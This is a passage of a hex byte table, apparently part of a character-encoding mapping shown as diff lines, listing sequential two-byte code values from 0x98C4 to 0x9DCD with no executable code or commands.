0xC4, 0x98, 0xC5, 0x98, 0xC6, 0x98, 0xC7, + 0x98, 0xC8, 0x98, 0xC9, 0x98, 0xCA, 0x98, 0xCB, + 0x98, 0xCC, 0x98, 0xCD, 0x98, 0xCE, 0x98, 0xCF, + 0x98, 0xD0, 0x98, 0xD1, 0x98, 0xD2, 0x98, 0xD3, + 0x98, 0xD4, 0x98, 0xD5, 0x98, 0xD6, 0x98, 0xD7, + 0x98, 0xD8, 0x98, 0xD9, 0x98, 0xDA, 0x98, 0xDB, + 0x98, 0xDC, 0x98, 0xDD, 0x98, 0xDE, 0x98, 0xDF, + 0x98, 0xE0, 0x98, 0xE1, 0x98, 0xE2, 0x98, 0xE3, + 0x98, 0xE4, 0x98, 0xE5, 0x98, 0xE6, 0x98, 0xE7, + 0x98, 0xE8, 0x98, 0xE9, 0x98, 0xEA, 0x98, 0xEB, + 0x98, 0xEC, 0x98, 0xED, 0x98, 0xEE, 0x98, 0xEF, + 0x98, 0xF0, 0x98, 0xF1, 0x98, 0xF2, 0x98, 0xF3, + 0x98, 0xF4, 0x98, 0xF5, 0x98, 0xF6, 0x98, 0xF7, + 0x98, 0xF8, 0x98, 0xF9, 0x98, 0xFA, 0x98, 0xFB, + 0x98, 0xFC, 0x98, 0xFD, 0x98, 0xFE, 0x98, 0xFF, + 0x99, 0x00, 0x99, 0x01, 0x99, 0x02, 0x99, 0x03, + 0x99, 0x04, 0x99, 0x05, 0x99, 0x06, 0x99, 0x07, + 0x99, 0x08, 0x99, 0x09, 0x99, 0x0A, 0x99, 0x0B, + 0x99, 0x0C, 0x99, 0x0D, 0x99, 0x0E, 0x99, 0x0F, + 0x99, 0x10, 0x99, 0x11, 0x99, 0x12, 0x99, 0x13, + 0x99, 0x14, 0x99, 0x15, 0x99, 0x16, 0x99, 0x17, + 0x99, 0x18, 0x99, 0x19, 0x99, 0x1A, 0x99, 0x1B, + 0x99, 0x1C, 0x99, 0x1D, 0x99, 0x1E, 0x99, 0x1F, + 0x99, 0x20, 0x99, 0x21, 0x99, 0x22, 0x99, 0x23, + 0x99, 0x24, 0x99, 0x25, 0x99, 0x26, 0x99, 0x27, + 0x99, 0x28, 0x99, 0x29, 0x99, 0x2A, 0x99, 0x2B, + 0x99, 0x2C, 0x99, 0x2D, 0x99, 0x2E, 0x99, 0x2F, + 0x99, 0x30, 0x99, 0x31, 0x99, 0x32, 0x99, 0x33, + 0x99, 0x34, 0x99, 0x35, 0x99, 0x36, 0x99, 0x37, + 0x99, 0x38, 0x99, 0x39, 0x99, 0x3A, 0x99, 0x3B, + 0x99, 0x3C, 0x99, 0x3D, 0x99, 0x3E, 0x99, 0x3F, + 0x99, 0x40, 0x99, 0x41, 0x99, 0x42, 0x99, 0x43, + 0x99, 0x44, 0x99, 0x45, 0x99, 0x46, 0x99, 0x47, + 0x99, 0x48, 0x99, 0x49, 0x99, 0x4A, 0x99, 0x4B, + 0x99, 0x4C, 0x99, 0x4D, 0x99, 0x4E, 0x99, 0x4F, + 0x99, 0x50, 0x99, 0x51, 0x99, 0x52, 0x99, 0x53, + 0x99, 0x54, 0x99, 0x55, 0x99, 0x56, 0x99, 0x57, + 0x99, 0x58, 0x99, 0x59, 0x99, 0x5A, 0x99, 0x5B, + 0x99, 0x5C, 0x99, 0x5D, 0x99, 0x5E, 0x99, 0x5F, + 0x99, 0x60, 0x99, 0x61, 0x99, 0x62, 0x99, 0x63, + 0x99, 0x64, 0x99, 0x65, 0x99, 0x66, 0x99, 0x67, + 0x99, 0x68, 0x99, 0x69, 0x99, 0x6A, 0x99, 0x6B, + 0x99, 0x6C, 0x99, 0x6D, 0x99, 0x6E, 0x99, 0x6F, + 0x99, 0x70, 0x99, 0x71, 0x99, 0x72, 0x99, 0x73, + 0x99, 0x74, 0x99, 0x75, 0x99, 0x76, 0x99, 0x77, + 0x99, 0x78, 0x99, 0x79, 0x99, 0x7A, 0x99, 0x7B, + 0x99, 0x7C, 0x99, 0x7D, 0x99, 0x7E, 0x99, 0x7F, + 0x99, 0x80, 0x99, 0x81, 0x99, 0x82, 0x99, 0x83, + 0x99, 0x84, 0x99, 0x85, 0x99, 0x86, 0x99, 0x87, + 0x99, 0x88, 0x99, 0x89, 0x99, 0x8A, 0x99, 0x8B, + 0x99, 0x8C, 0x99, 0x8D, 0x99, 0x8E, 0x99, 0x8F, + 0x99, 0x90, 0x99, 0x91, 0x99, 0x92, 0x99, 0x93, + 0x99, 0x94, 0x99, 0x95, 0x99, 0x96, 0x99, 0x97, + 0x99, 0x98, 0x99, 0x99, 0x99, 0x9A, 0x99, 0x9B, + 0x99, 0x9C, 0x99, 0x9D, 0x99, 0x9E, 0x99, 0x9F, + 0x99, 0xA0, 0x99, 0xA1, 0x99, 0xA2, 0x99, 0xA3, + 0x99, 0xA4, 0x99, 0xA5, 0x99, 0xA6, 0x99, 0xA7, + 0x99, 0xA8, 0x99, 0xA9, 0x99, 0xAA, 0x99, 0xAB, + 0x99, 0xAC, 0x99, 0xAD, 0x99, 0xAE, 0x99, 0xAF, + 0x99, 0xB0, 0x99, 0xB1, 0x99, 0xB2, 0x99, 0xB3, + 0x99, 0xB4, 0x99, 0xB5, 0x99, 0xB6, 0x99, 0xB7, + 0x99, 0xB8, 0x99, 0xB9, 0x99, 0xBA, 0x99, 0xBB, + 0x99, 0xBC, 0x99, 0xBD, 0x99, 0xBE, 0x99, 0xBF, + 0x99, 0xC0, 0x99, 0xC1, 0x99, 0xC2, 0x99, 0xC3, + 0x99, 0xC4, 0x99, 0xC5, 0x99, 0xC6, 0x99, 0xC7, + 0x99, 0xC8, 0x99, 0xC9, 0x99, 0xCA, 0x99, 0xCB, + 0x99, 0xCC, 0x99, 0xCD, 0x99, 0xCE, 0x99, 0xCF, + 0x99, 0xD0, 0x99, 0xD1, 0x99, 0xD2, 0x99, 0xD3, + 0x99, 0xD4, 0x99, 0xD5, 0x99, 0xD6, 0x99, 0xD7, + 0x99, 0xD8, 0x99, 0xD9, 0x99, 0xDA, 0x99, 0xDB, + 0x99, 0xDC, 0x99, 0xDD, 0x99, 0xDE, 0x99, 0xDF, + 0x99, 0xE0, 0x99, 0xE1, 0x99, 0xE2, 0x99, 0xE3, + 0x99, 0xE4, 0x99, 0xE5, 0x99, 0xE6, 0x99, 0xE7, + 0x99, 0xE8, 0x99, 0xE9, 0x99, 0xEA, 0x99, 0xEB, + 0x99, 0xEC, 0x99, 0xED, 0x99, 0xEE, 0x99, 0xEF, + 0x99, 0xF0, 0x99, 0xF1, 0x99, 0xF2, 0x99, 0xF3, + 0x99, 0xF4, 0x99, 0xF5, 0x99, 0xF6, 0x99, 0xF7, + 0x99, 0xF8, 0x99, 0xF9, 0x99, 0xFA, 0x99, 0xFB, + 0x99, 0xFC, 0x99, 0xFD, 0x99, 0xFE, 0x99, 0xFF, + 0x9A, 0x00, 0x9A, 0x01, 0x9A, 0x02, 0x9A, 0x03, + 0x9A, 0x04, 0x9A, 0x05, 0x9A, 0x06, 0x9A, 0x07, + 0x9A, 0x08, 0x9A, 0x09, 0x9A, 0x0A, 0x9A, 0x0B, + 0x9A, 0x0C, 0x9A, 0x0D, 0x9A, 0x0E, 0x9A, 0x0F, + 0x9A, 0x10, 0x9A, 0x11, 0x9A, 0x12, 0x9A, 0x13, + 0x9A, 0x14, 0x9A, 0x15, 0x9A, 0x16, 0x9A, 0x17, + 0x9A, 0x18, 0x9A, 0x19, 0x9A, 0x1A, 0x9A, 0x1B, + 0x9A, 0x1C, 0x9A, 0x1D, 0x9A, 0x1E, 0x9A, 0x1F, + 0x9A, 0x20, 0x9A, 0x21, 0x9A, 0x22, 0x9A, 0x23, + 0x9A, 0x24, 0x9A, 0x25, 0x9A, 0x26, 0x9A, 0x27, + 0x9A, 0x28, 0x9A, 0x29, 0x9A, 0x2A, 0x9A, 0x2B, + 0x9A, 0x2C, 0x9A, 0x2D, 0x9A, 0x2E, 0x9A, 0x2F, + 0x9A, 0x30, 0x9A, 0x31, 0x9A, 0x32, 0x9A, 0x33, + 0x9A, 0x34, 0x9A, 0x35, 0x9A, 0x36, 0x9A, 0x37, + 0x9A, 0x38, 0x9A, 0x39, 0x9A, 0x3A, 0x9A, 0x3B, + 0x9A, 0x3C, 0x9A, 0x3D, 0x9A, 0x3E, 0x9A, 0x3F, + 0x9A, 0x40, 0x9A, 0x41, 0x9A, 0x42, 0x9A, 0x43, + 0x9A, 0x44, 0x9A, 0x45, 0x9A, 0x46, 0x9A, 0x47, + 0x9A, 0x48, 0x9A, 0x49, 0x9A, 0x4A, 0x9A, 0x4B, + 0x9A, 0x4C, 0x9A, 0x4D, 0x9A, 0x4E, 0x9A, 0x4F, + 0x9A, 0x50, 0x9A, 0x51, 0x9A, 0x52, 0x9A, 0x53, + 0x9A, 0x54, 0x9A, 0x55, 0x9A, 0x56, 0x9A, 0x57, + 0x9A, 0x58, 0x9A, 0x59, 0x9A, 0x5A, 0x9A, 0x5B, + 0x9A, 0x5C, 0x9A, 0x5D, 0x9A, 0x5E, 0x9A, 0x5F, + 0x9A, 0x60, 0x9A, 0x61, 0x9A, 0x62, 0x9A, 0x63, + 0x9A, 0x64, 0x9A, 0x65, 0x9A, 0x66, 0x9A, 0x67, + 0x9A, 0x68, 0x9A, 0x69, 0x9A, 0x6A, 0x9A, 0x6B, + 0x9A, 0x6C, 0x9A, 0x6D, 0x9A, 0x6E, 0x9A, 0x6F, + 0x9A, 0x70, 0x9A, 0x71, 0x9A, 0x72, 0x9A, 0x73, + 0x9A, 0x74, 0x9A, 0x75, 0x9A, 0x76, 0x9A, 0x77, + 0x9A, 0x78, 0x9A, 0x79, 0x9A, 0x7A, 0x9A, 0x7B, + 0x9A, 0x7C, 0x9A, 0x7D, 0x9A, 0x7E, 0x9A, 0x7F, + 0x9A, 0x80, 0x9A, 0x81, 0x9A, 0x82, 0x9A, 0x83, + 0x9A, 0x84, 0x9A, 0x85, 0x9A, 0x86, 0x9A, 0x87, + 0x9A, 0x88, 0x9A, 0x89, 0x9A, 0x8A, 0x9A, 0x8B, + 0x9A, 0x8C, 0x9A, 0x8D, 0x9A, 0x8E, 0x9A, 0x8F, + 0x9A, 0x90, 0x9A, 0x91, 0x9A, 0x92, 0x9A, 0x93, + 0x9A, 0x94, 0x9A, 0x95, 0x9A, 0x96, 0x9A, 0x97, + 0x9A, 0x98, 0x9A, 0x99, 0x9A, 0x9A, 0x9A, 0x9B, + 0x9A, 0x9C, 0x9A, 0x9D, 0x9A, 0x9E, 0x9A, 0x9F, + 0x9A, 0xA0, 0x9A, 0xA1, 0x9A, 0xA2, 0x9A, 0xA3, + 0x9A, 0xA4, 0x9A, 0xA5, 0x9A, 0xA6, 0x9A, 0xA7, + 0x9A, 0xA8, 0x9A, 0xA9, 0x9A, 0xAA, 0x9A, 0xAB, + 0x9A, 0xAC, 0x9A, 0xAD, 0x9A, 0xAE, 0x9A, 0xAF, + 0x9A, 0xB0, 0x9A, 0xB1, 0x9A, 0xB2, 0x9A, 0xB3, + 0x9A, 0xB4, 0x9A, 0xB5, 0x9A, 0xB6, 0x9A, 0xB7, + 0x9A, 0xB8, 0x9A, 0xB9, 0x9A, 0xBA, 0x9A, 0xBB, + 0x9A, 0xBC, 0x9A, 0xBD, 0x9A, 0xBE, 0x9A, 0xBF, + 0x9A, 0xC0, 0x9A, 0xC1, 0x9A, 0xC2, 0x9A, 0xC3, + 0x9A, 0xC4, 0x9A, 0xC5, 0x9A, 0xC6, 0x9A, 0xC7, + 0x9A, 0xC8, 0x9A, 0xC9, 0x9A, 0xCA, 0x9A, 0xCB, + 0x9A, 0xCC, 0x9A, 0xCD, 0x9A, 0xCE, 0x9A, 0xCF, + 0x9A, 0xD0, 0x9A, 0xD1, 0x9A, 0xD2, 0x9A, 0xD3, + 0x9A, 0xD4, 0x9A, 0xD5, 0x9A, 0xD6, 0x9A, 0xD7, + 0x9A, 0xD8, 0x9A, 0xD9, 0x9A, 0xDA, 0x9A, 0xDB, + 0x9A, 0xDC, 0x9A, 0xDD, 0x9A, 0xDE, 0x9A, 0xDF, + 0x9A, 0xE0, 0x9A, 0xE1, 0x9A, 0xE2, 0x9A, 0xE3, + 0x9A, 0xE4, 0x9A, 0xE5, 0x9A, 0xE6, 0x9A, 0xE7, + 0x9A, 0xE8, 0x9A, 0xE9, 0x9A, 0xEA, 0x9A, 0xEB, + 0x9A, 0xEC, 0x9A, 0xED, 0x9A, 0xEE, 0x9A, 0xEF, + 0x9A, 0xF0, 0x9A, 0xF1, 0x9A, 0xF2, 0x9A, 0xF3, + 0x9A, 0xF4, 0x9A, 0xF5, 0x9A, 0xF6, 0x9A, 0xF7, + 0x9A, 0xF8, 0x9A, 0xF9, 0x9A, 0xFA, 0x9A, 0xFB, + 0x9A, 0xFC, 0x9A, 0xFD, 0x9A, 0xFE, 0x9A, 0xFF, + 0x9B, 0x00, 0x9B, 0x01, 0x9B, 0x02, 0x9B, 0x03, + 0x9B, 0x04, 0x9B, 0x05, 0x9B, 0x06, 0x9B, 0x07, + 0x9B, 0x08, 0x9B, 0x09, 0x9B, 0x0A, 0x9B, 0x0B, + 0x9B, 0x0C, 0x9B, 0x0D, 0x9B, 0x0E, 0x9B, 0x0F, + 0x9B, 0x10, 0x9B, 0x11, 0x9B, 0x12, 0x9B, 0x13, + 0x9B, 0x14, 0x9B, 0x15, 0x9B, 0x16, 0x9B, 0x17, + 0x9B, 0x18, 0x9B, 0x19, 0x9B, 0x1A, 0x9B, 0x1B, + 0x9B, 0x1C, 0x9B, 0x1D, 0x9B, 0x1E, 0x9B, 0x1F, + 0x9B, 0x20, 0x9B, 0x21, 0x9B, 0x22, 0x9B, 0x23, + 0x9B, 0x24, 0x9B, 0x25, 0x9B, 0x26, 0x9B, 0x27, + 0x9B, 0x28, 0x9B, 0x29, 0x9B, 0x2A, 0x9B, 0x2B, + 0x9B, 0x2C, 0x9B, 0x2D, 0x9B, 0x2E, 0x9B, 0x2F, + 0x9B, 0x30, 0x9B, 0x31, 0x9B, 0x32, 0x9B, 0x33, + 0x9B, 0x34, 0x9B, 0x35, 0x9B, 0x36, 0x9B, 0x37, + 0x9B, 0x38, 0x9B, 0x39, 0x9B, 0x3A, 0x9B, 0x3B, + 0x9B, 0x3C, 0x9B, 0x3D, 0x9B, 0x3E, 0x9B, 0x3F, + 0x9B, 0x40, 0x9B, 0x41, 0x9B, 0x42, 0x9B, 0x43, + 0x9B, 0x44, 0x9B, 0x45, 0x9B, 0x46, 0x9B, 0x47, + 0x9B, 0x48, 0x9B, 0x49, 0x9B, 0x4A, 0x9B, 0x4B, + 0x9B, 0x4C, 0x9B, 0x4D, 0x9B, 0x4E, 0x9B, 0x4F, + 0x9B, 0x50, 0x9B, 0x51, 0x9B, 0x52, 0x9B, 0x53, + 0x9B, 0x54, 0x9B, 0x55, 0x9B, 0x56, 0x9B, 0x57, + 0x9B, 0x58, 0x9B, 0x59, 0x9B, 0x5A, 0x9B, 0x5B, + 0x9B, 0x5C, 0x9B, 0x5D, 0x9B, 0x5E, 0x9B, 0x5F, + 0x9B, 0x60, 0x9B, 0x61, 0x9B, 0x62, 0x9B, 0x63, + 0x9B, 0x64, 0x9B, 0x65, 0x9B, 0x66, 0x9B, 0x67, + 0x9B, 0x68, 0x9B, 0x69, 0x9B, 0x6A, 0x9B, 0x6B, + 0x9B, 0x6C, 0x9B, 0x6D, 0x9B, 0x6E, 0x9B, 0x6F, + 0x9B, 0x70, 0x9B, 0x71, 0x9B, 0x72, 0x9B, 0x73, + 0x9B, 0x74, 0x9B, 0x75, 0x9B, 0x76, 0x9B, 0x77, + 0x9B, 0x78, 0x9B, 0x79, 0x9B, 0x7A, 0x9B, 0x7B, + 0x9B, 0x7C, 0x9B, 0x7D, 0x9B, 0x7E, 0x9B, 0x7F, + 0x9B, 0x80, 0x9B, 0x81, 0x9B, 0x82, 0x9B, 0x83, + 0x9B, 0x84, 0x9B, 0x85, 0x9B, 0x86, 0x9B, 0x87, + 0x9B, 0x88, 0x9B, 0x89, 0x9B, 0x8A, 0x9B, 0x8B, + 0x9B, 0x8C, 0x9B, 0x8D, 0x9B, 0x8E, 0x9B, 0x8F, + 0x9B, 0x90, 0x9B, 0x91, 0x9B, 0x92, 0x9B, 0x93, + 0x9B, 0x94, 0x9B, 0x95, 0x9B, 0x96, 0x00, 0x6D, + 0x00, 0x6E, 0x9B, 0x97, 0x9B, 0x98, 0x9B, 0x99, + 0x9B, 0x9A, 0x9B, 0x9B, 0x9B, 0x9C, 0x9B, 0x9D, + 0x9B, 0x9E, 0x9B, 0x9F, 0x9B, 0xA0, 0x9B, 0xA1, + 0x9B, 0xA2, 0x9B, 0xA3, 0x9B, 0xA4, 0x9B, 0xA5, + 0x9B, 0xA6, 0x9B, 0xA7, 0x9B, 0xA8, 0x9B, 0xA9, + 0x9B, 0xAA, 0x9B, 0xAB, 0x9B, 0xAC, 0x9B, 0xAD, + 0x9B, 0xAE, 0x9B, 0xAF, 0x9B, 0xB0, 0x9B, 0xB1, + 0x9B, 0xB2, 0x9B, 0xB3, 0x9B, 0xB4, 0x9B, 0xB5, + 0x9B, 0xB6, 0x9B, 0xB7, 0x9B, 0xB8, 0x9B, 0xB9, + 0x9B, 0xBA, 0x9B, 0xBB, 0x9B, 0xBC, 0x9B, 0xBD, + 0x9B, 0xBE, 0x9B, 0xBF, 0x9B, 0xC0, 0x9B, 0xC1, + 0x9B, 0xC2, 0x9B, 0xC3, 0x9B, 0xC4, 0x9B, 0xC5, + 0x9B, 0xC6, 0x9B, 0xC7, 0x9B, 0xC8, 0x9B, 0xC9, + 0x9B, 0xCA, 0x9B, 0xCB, 0x9B, 0xCC, 0x9B, 0xCD, + 0x9B, 0xCE, 0x9B, 0xCF, 0x9B, 0xD0, 0x9B, 0xD1, + 0x9B, 0xD2, 0x9B, 0xD3, 0x9B, 0xD4, 0x9B, 0xD5, + 0x9B, 0xD6, 0x9B, 0xD7, 0x9B, 0xD8, 0x9B, 0xD9, + 0x9B, 0xDA, 0x9B, 0xDB, 0x9B, 0xDC, 0x9B, 0xDD, + 0x9B, 0xDE, 0x9B, 0xDF, 0x9B, 0xE0, 0x9B, 0xE1, + 0x9B, 0xE2, 0x9B, 0xE3, 0x9B, 0xE4, 0x9B, 0xE5, + 0x9B, 0xE6, 0x9B, 0xE7, 0x9B, 0xE8, 0x9B, 0xE9, + 0x9B, 0xEA, 0x9B, 0xEB, 0x9B, 0xEC, 0x9B, 0xED, + 0x9B, 0xEE, 0x9B, 0xEF, 0x9B, 0xF0, 0x9B, 0xF1, + 0x9B, 0xF2, 0x9B, 0xF3, 0x9B, 0xF4, 0x9B, 0xF5, + 0x9B, 0xF6, 0x9B, 0xF7, 0x9B, 0xF8, 0x9B, 0xF9, + 0x9B, 0xFA, 0x9B, 0xFB, 0x9B, 0xFC, 0x9B, 0xFD, + 0x9B, 0xFE, 0x9B, 0xFF, 0x9C, 0x00, 0x9C, 0x01, + 0x9C, 0x02, 0x9C, 0x03, 0x9C, 0x04, 0x9C, 0x05, + 0x9C, 0x06, 0x9C, 0x07, 0x9C, 0x08, 0x9C, 0x09, + 0x9C, 0x0A, 0x9C, 0x0B, 0x9C, 0x0C, 0x9C, 0x0D, + 0x9C, 0x0E, 0x9C, 0x0F, 0x9C, 0x10, 0x9C, 0x11, + 0x9C, 0x12, 0x9C, 0x13, 0x9C, 0x14, 0x9C, 0x15, + 0x9C, 0x16, 0x9C, 0x17, 0x9C, 0x18, 0x9C, 0x19, + 0x9C, 0x1A, 0x9C, 0x1B, 0x9C, 0x1C, 0x9C, 0x1D, + 0x9C, 0x1E, 0x9C, 0x1F, 0x9C, 0x20, 0x9C, 0x21, + 0x9C, 0x22, 0x9C, 0x23, 0x9C, 0x24, 0x9C, 0x25, + 0x9C, 0x26, 0x9C, 0x27, 0x9C, 0x28, 0x9C, 0x29, + 0x9C, 0x2A, 0x9C, 0x2B, 0x9C, 0x2C, 0x9C, 0x2D, + 0x9C, 0x2E, 0x9C, 0x2F, 0x9C, 0x30, 0x9C, 0x31, + 0x9C, 0x32, 0x9C, 0x33, 0x9C, 0x34, 0x9C, 0x35, + 0x9C, 0x36, 0x9C, 0x37, 0x9C, 0x38, 0x9C, 0x39, + 0x9C, 0x3A, 0x9C, 0x3B, 0x9C, 0x3C, 0x9C, 0x3D, + 0x9C, 0x3E, 0x9C, 0x3F, 0x9C, 0x40, 0x9C, 0x41, + 0x9C, 0x42, 0x9C, 0x43, 0x9C, 0x44, 0x9C, 0x45, + 0x9C, 0x46, 0x9C, 0x47, 0x9C, 0x48, 0x9C, 0x49, + 0x9C, 0x4A, 0x9C, 0x4B, 0x9C, 0x4C, 0x9C, 0x4D, + 0x9C, 0x4E, 0x9C, 0x4F, 0x9C, 0x50, 0x9C, 0x51, + 0x9C, 0x52, 0x9C, 0x53, 0x9C, 0x54, 0x9C, 0x55, + 0x9C, 0x56, 0x9C, 0x57, 0x9C, 0x58, 0x9C, 0x59, + 0x9C, 0x5A, 0x9C, 0x5B, 0x9C, 0x5C, 0x9C, 0x5D, + 0x9C, 0x5E, 0x9C, 0x5F, 0x9C, 0x60, 0x9C, 0x61, + 0x9C, 0x62, 0x9C, 0x63, 0x9C, 0x64, 0x9C, 0x65, + 0x9C, 0x66, 0x9C, 0x67, 0x9C, 0x68, 0x9C, 0x69, + 0x9C, 0x6A, 0x9C, 0x6B, 0x9C, 0x6C, 0x9C, 0x6D, + 0x9C, 0x6E, 0x9C, 0x6F, 0x9C, 0x70, 0x9C, 0x71, + 0x9C, 0x72, 0x9C, 0x73, 0x9C, 0x74, 0x9C, 0x75, + 0x9C, 0x76, 0x9C, 0x77, 0x9C, 0x78, 0x9C, 0x79, + 0x9C, 0x7A, 0x9C, 0x7B, 0x9C, 0x7C, 0x9C, 0x7D, + 0x9C, 0x7E, 0x9C, 0x7F, 0x9C, 0x80, 0x9C, 0x81, + 0x9C, 0x82, 0x9C, 0x83, 0x9C, 0x84, 0x9C, 0x85, + 0x9C, 0x86, 0x9C, 0x87, 0x9C, 0x88, 0x9C, 0x89, + 0x9C, 0x8A, 0x9C, 0x8B, 0x9C, 0x8C, 0x9C, 0x8D, + 0x9C, 0x8E, 0x9C, 0x8F, 0x9C, 0x90, 0x9C, 0x91, + 0x9C, 0x92, 0x9C, 0x93, 0x9C, 0x94, 0x9C, 0x95, + 0x9C, 0x96, 0x9C, 0x97, 0x9C, 0x98, 0x9C, 0x99, + 0x9C, 0x9A, 0x9C, 0x9B, 0x9C, 0x9C, 0x9C, 0x9D, + 0x9C, 0x9E, 0x9C, 0x9F, 0x9C, 0xA0, 0x9C, 0xA1, + 0x9C, 0xA2, 0x9C, 0xA3, 0x9C, 0xA4, 0x9C, 0xA5, + 0x9C, 0xA6, 0x9C, 0xA7, 0x9C, 0xA8, 0x9C, 0xA9, + 0x9C, 0xAA, 0x9C, 0xAB, 0x9C, 0xAC, 0x9C, 0xAD, + 0x9C, 0xAE, 0x9C, 0xAF, 0x9C, 0xB0, 0x9C, 0xB1, + 0x9C, 0xB2, 0x9C, 0xB3, 0x9C, 0xB4, 0x9C, 0xB5, + 0x9C, 0xB6, 0x9C, 0xB7, 0x9C, 0xB8, 0x9C, 0xB9, + 0x9C, 0xBA, 0x9C, 0xBB, 0x9C, 0xBC, 0x9C, 0xBD, + 0x9C, 0xBE, 0x9C, 0xBF, 0x9C, 0xC0, 0x9C, 0xC1, + 0x9C, 0xC2, 0x9C, 0xC3, 0x9C, 0xC4, 0x9C, 0xC5, + 0x9C, 0xC6, 0x9C, 0xC7, 0x9C, 0xC8, 0x9C, 0xC9, + 0x9C, 0xCA, 0x9C, 0xCB, 0x9C, 0xCC, 0x9C, 0xCD, + 0x9C, 0xCE, 0x9C, 0xCF, 0x9C, 0xD0, 0x9C, 0xD1, + 0x9C, 0xD2, 0x9C, 0xD3, 0x9C, 0xD4, 0x9C, 0xD5, + 0x9C, 0xD6, 0x9C, 0xD7, 0x9C, 0xD8, 0x9C, 0xD9, + 0x9C, 0xDA, 0x9C, 0xDB, 0x9C, 0xDC, 0x9C, 0xDD, + 0x9C, 0xDE, 0x9C, 0xDF, 0x9C, 0xE0, 0x9C, 0xE1, + 0x9C, 0xE2, 0x9C, 0xE3, 0x9C, 0xE4, 0x9C, 0xE5, + 0x9C, 0xE6, 0x9C, 0xE7, 0x9C, 0xE8, 0x9C, 0xE9, + 0x9C, 0xEA, 0x9C, 0xEB, 0x9C, 0xEC, 0x9C, 0xED, + 0x9C, 0xEE, 0x9C, 0xEF, 0x9C, 0xF0, 0x9C, 0xF1, + 0x9C, 0xF2, 0x9C, 0xF3, 0x9C, 0xF4, 0x9C, 0xF5, + 0x9C, 0xF6, 0x9C, 0xF7, 0x9C, 0xF8, 0x9C, 0xF9, + 0x9C, 0xFA, 0x9C, 0xFB, 0x9C, 0xFC, 0x9C, 0xFD, + 0x9C, 0xFE, 0x9C, 0xFF, 0x9D, 0x00, 0x9D, 0x01, + 0x9D, 0x02, 0x9D, 0x03, 0x9D, 0x04, 0x9D, 0x05, + 0x9D, 0x06, 0x9D, 0x07, 0x9D, 0x08, 0x9D, 0x09, + 0x9D, 0x0A, 0x9D, 0x0B, 0x9D, 0x0C, 0x9D, 0x0D, + 0x9D, 0x0E, 0x9D, 0x0F, 0x9D, 0x10, 0x9D, 0x11, + 0x9D, 0x12, 0x9D, 0x13, 0x9D, 0x14, 0x9D, 0x15, + 0x9D, 0x16, 0x9D, 0x17, 0x9D, 0x18, 0x9D, 0x19, + 0x9D, 0x1A, 0x9D, 0x1B, 0x9D, 0x1C, 0x9D, 0x1D, + 0x9D, 0x1E, 0x9D, 0x1F, 0x9D, 0x20, 0x9D, 0x21, + 0x9D, 0x22, 0x9D, 0x23, 0x9D, 0x24, 0x9D, 0x25, + 0x9D, 0x26, 0x9D, 0x27, 0x9D, 0x28, 0x9D, 0x29, + 0x9D, 0x2A, 0x9D, 0x2B, 0x9D, 0x2C, 0x9D, 0x2D, + 0x9D, 0x2E, 0x9D, 0x2F, 0x9D, 0x30, 0x9D, 0x31, + 0x9D, 0x32, 0x9D, 0x33, 0x9D, 0x34, 0x9D, 0x35, + 0x9D, 0x36, 0x9D, 0x37, 0x9D, 0x38, 0x9D, 0x39, + 0x9D, 0x3A, 0x9D, 0x3B, 0x9D, 0x3C, 0x9D, 0x3D, + 0x9D, 0x3E, 0x9D, 0x3F, 0x9D, 0x40, 0x9D, 0x41, + 0x9D, 0x42, 0x9D, 0x43, 0x9D, 0x44, 0x9D, 0x45, + 0x9D, 0x46, 0x9D, 0x47, 0x9D, 0x48, 0x9D, 0x49, + 0x9D, 0x4A, 0x9D, 0x4B, 0x9D, 0x4C, 0x9D, 0x4D, + 0x9D, 0x4E, 0x9D, 0x4F, 0x9D, 0x50, 0x9D, 0x51, + 0x9D, 0x52, 0x9D, 0x53, 0x9D, 0x54, 0x9D, 0x55, + 0x9D, 0x56, 0x9D, 0x57, 0x9D, 0x58, 0x9D, 0x59, + 0x9D, 0x5A, 0x9D, 0x5B, 0x9D, 0x5C, 0x9D, 0x5D, + 0x9D, 0x5E, 0x9D, 0x5F, 0x9D, 0x60, 0x9D, 0x61, + 0x9D, 0x62, 0x9D, 0x63, 0x9D, 0x64, 0x9D, 0x65, + 0x9D, 0x66, 0x9D, 0x67, 0x9D, 0x68, 0x9D, 0x69, + 0x9D, 0x6A, 0x9D, 0x6B, 0x9D, 0x6C, 0x9D, 0x6D, + 0x9D, 0x6E, 0x9D, 0x6F, 0x9D, 0x70, 0x9D, 0x71, + 0x9D, 0x72, 0x9D, 0x73, 0x9D, 0x74, 0x9D, 0x75, + 0x9D, 0x76, 0x9D, 0x77, 0x9D, 0x78, 0x9D, 0x79, + 0x9D, 0x7A, 0x9D, 0x7B, 0x9D, 0x7C, 0x9D, 0x7D, + 0x9D, 0x7E, 0x9D, 0x7F, 0x9D, 0x80, 0x9D, 0x81, + 0x9D, 0x82, 0x9D, 0x83, 0x9D, 0x84, 0x9D, 0x85, + 0x9D, 0x86, 0x9D, 0x87, 0x9D, 0x88, 0x9D, 0x89, + 0x9D, 0x8A, 0x9D, 0x8B, 0x9D, 0x8C, 0x9D, 0x8D, + 0x9D, 0x8E, 0x9D, 0x8F, 0x9D, 0x90, 0x9D, 0x91, + 0x9D, 0x92, 0x9D, 0x93, 0x9D, 0x94, 0x9D, 0x95, + 0x9D, 0x96, 0x9D, 0x97, 0x9D, 0x98, 0x9D, 0x99, + 0x9D, 0x9A, 0x9D, 0x9B, 0x9D, 0x9C, 0x9D, 0x9D, + 0x9D, 0x9E, 0x9D, 0x9F, 0x9D, 0xA0, 0x9D, 0xA1, + 0x9D, 0xA2, 0x9D, 0xA3, 0x9D, 0xA4, 0x9D, 0xA5, + 0x9D, 0xA6, 0x9D, 0xA7, 0x9D, 0xA8, 0x9D, 0xA9, + 0x9D, 0xAA, 0x9D, 0xAB, 0x9D, 0xAC, 0x9D, 0xAD, + 0x9D, 0xAE, 0x9D, 0xAF, 0x9D, 0xB0, 0x9D, 0xB1, + 0x9D, 0xB2, 0x9D, 0xB3, 0x9D, 0xB4, 0x9D, 0xB5, + 0x9D, 0xB6, 0x9D, 0xB7, 0x9D, 0xB8, 0x9D, 0xB9, + 0x9D, 0xBA, 0x9D, 0xBB, 0x9D, 0xBC, 0x9D, 0xBD, + 0x9D, 0xBE, 0x9D, 0xBF, 0x9D, 0xC0, 0x9D, 0xC1, + 0x9D, 0xC2, 0x9D, 0xC3, 0x9D, 0xC4, 0x9D, 0xC5, + 0x9D, 0xC6, 0x9D, 0xC7, 0x9D, 0xC8, 0x9D, 0xC9, + 0x9D, 0xCA, 0x9D, 0xCB, 0x9D, 0xCC, 0x9D, 0xCD, + 